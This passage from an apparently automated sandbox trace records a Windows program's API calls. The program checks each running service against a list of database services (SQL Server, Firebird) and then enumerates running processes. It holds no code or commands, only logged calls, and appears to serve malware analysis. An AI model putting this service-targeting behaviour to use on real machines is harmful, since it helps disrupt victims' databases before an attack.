lpString2="KeyIso") returned 1 [0248.926] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0248.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0248.926] lstrlenW (lpString="LanmanServer") returned 12 [0248.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0248.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0248.926] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0248.926] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0248.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0248.926] lstrlenW (lpString="LanmanWorkstation") returned 17 [0248.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0248.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0248.926] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0248.926] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0248.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0248.927] lstrlenW (lpString="lfsvc") returned 5 [0248.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0248.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0248.927] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0248.927] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0248.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0248.927] lstrlenW (lpString="lmhosts") returned 7 [0248.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0248.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0248.927] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0248.927] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0248.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0248.927] lstrlenW (lpString="LSM") returned 3 [0248.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0248.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0248.927] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0248.927] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0248.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0248.927] lstrlenW (lpString="MpsSvc") returned 6 [0248.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0248.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0248.927] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0248.927] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0248.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0248.927] lstrlenW (lpString="NcbService") returned 10 [0248.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0248.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0248.927] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0248.927] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0248.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0248.928] lstrlenW (lpString="netprofm") returned 8 [0248.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0248.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0248.928] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0248.928] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0248.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0248.928] lstrlenW (lpString="NgcSvc") returned 6 [0248.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0248.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0248.928] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0248.928] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0248.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0248.928] lstrlenW (lpString="NlaSvc") returned 6 [0248.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0248.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0248.928] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0248.928] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0248.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0248.928] lstrlenW (lpString="nsi") returned 3 [0248.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0248.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0248.928] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0248.928] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0248.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0248.928] lstrlenW (lpString="PcaSvc") returned 6 [0248.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0248.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0248.928] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0248.928] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0248.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0248.928] lstrlenW (lpString="PlugPlay") returned 8 [0248.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0248.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0248.929] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0248.929] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0248.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0248.929] lstrlenW (lpString="Power") returned 5 [0248.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0248.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0248.929] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0248.929] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0248.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0248.929] lstrlenW (lpString="ProfSvc") returned 7 [0248.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0248.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0248.929] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0248.929] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0248.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0248.929] lstrlenW (lpString="RpcEptMapper") returned 12 [0248.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0248.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0248.929] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0248.929] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0248.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0248.929] lstrlenW (lpString="RpcSs") returned 5 [0248.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0248.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0248.929] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0248.929] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0248.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0248.930] lstrlenW (lpString="SamSs") returned 5 [0248.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0248.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0248.930] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0248.930] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0248.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0248.930] lstrlenW (lpString="Schedule") returned 8 [0248.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0248.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0248.930] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0248.930] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0248.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0248.930] lstrlenW (lpString="SecurityHealthService") returned 21 [0248.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0248.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0248.930] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0248.930] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0248.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0248.930] lstrlenW (lpString="SENS") returned 4 [0248.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0248.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0248.930] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0248.930] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0248.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0248.930] lstrlenW (lpString="ShellHWDetection") returned 16 [0248.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0248.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0248.930] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0248.930] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0248.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0248.931] lstrlenW (lpString="Spooler") returned 7 [0248.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0248.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0248.931] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0248.931] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0248.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0248.931] lstrlenW (lpString="StateRepository") returned 15 [0248.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0248.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0248.931] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0248.931] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0248.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0248.931] lstrlenW (lpString="SysMain") returned 7 [0248.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0248.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0248.931] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0248.931] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0248.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0248.931] lstrlenW (lpString="SystemEventsBroker") returned 18 [0248.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0248.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0248.931] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0248.931] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0248.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0248.931] lstrlenW (lpString="Themes") returned 6 [0248.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0248.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0248.931] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0248.932] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0248.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0248.932] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0248.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0248.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0248.932] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0248.932] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0248.932] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb3af0 | out: hHeap=0x630000) returned 1 [0248.932] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1254 [0249.044] Process32FirstW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.044] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0249.046] lstrlenW (lpString="System") returned 6 [0249.046] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0249.047] lstrlenW (lpString="smss.exe") returned 8 [0249.047] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.048] lstrlenW (lpString="csrss.exe") returned 9 [0249.048] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0249.049] lstrlenW (lpString="wininit.exe") returned 11 [0249.049] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.049] lstrlenW (lpString="csrss.exe") returned 9 [0249.050] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0249.050] lstrlenW (lpString="winlogon.exe") returned 12 [0249.051] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0249.051] lstrlenW (lpString="services.exe") returned 12 [0249.051] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0249.052] lstrlenW (lpString="lsass.exe") returned 9 [0249.052] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0249.053] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0249.053] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0249.054] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0249.054] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.055] lstrlenW (lpString="svchost.exe") returned 11 [0249.055] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.056] lstrlenW (lpString="svchost.exe") returned 11 [0249.056] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0249.057] lstrlenW (lpString="dwm.exe") returned 7 [0249.057] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.058] lstrlenW (lpString="svchost.exe") returned 11 [0249.058] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.059] lstrlenW (lpString="svchost.exe") returned 11 [0249.059] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.060] lstrlenW (lpString="svchost.exe") returned 11 [0249.060] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.061] lstrlenW (lpString="svchost.exe") returned 11 [0249.061] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.062] lstrlenW (lpString="svchost.exe") returned 11 [0249.062] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.063] lstrlenW (lpString="svchost.exe") returned 11 [0249.063] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.064] lstrlenW (lpString="svchost.exe") returned 11 [0249.064] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.065] lstrlenW (lpString="svchost.exe") returned 11 [0249.065] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.066] lstrlenW (lpString="svchost.exe") returned 11 [0249.066] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.067] lstrlenW (lpString="svchost.exe") returned 11 [0249.067] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0249.068] lstrlenW (lpString="spoolsv.exe") returned 11 [0249.068] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.069] lstrlenW (lpString="svchost.exe") returned 11 [0249.069] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0249.070] lstrlenW (lpString="audiodg.exe") returned 11 [0249.070] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0249.071] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0249.071] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0249.072] lstrlenW (lpString="Memory Compression") returned 18 [0249.072] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0249.073] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0249.073] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0249.074] lstrlenW (lpString="taskhostw.exe") returned 13 [0249.074] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0249.075] lstrlenW (lpString="sihost.exe") returned 10 [0249.075] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.076] lstrlenW (lpString="svchost.exe") returned 11 [0249.076] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0249.172] lstrlenW (lpString="taskhostw.exe") returned 13 [0249.172] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0249.173] lstrlenW (lpString="msoia.exe") returned 9 [0249.173] Process32NextW (in: 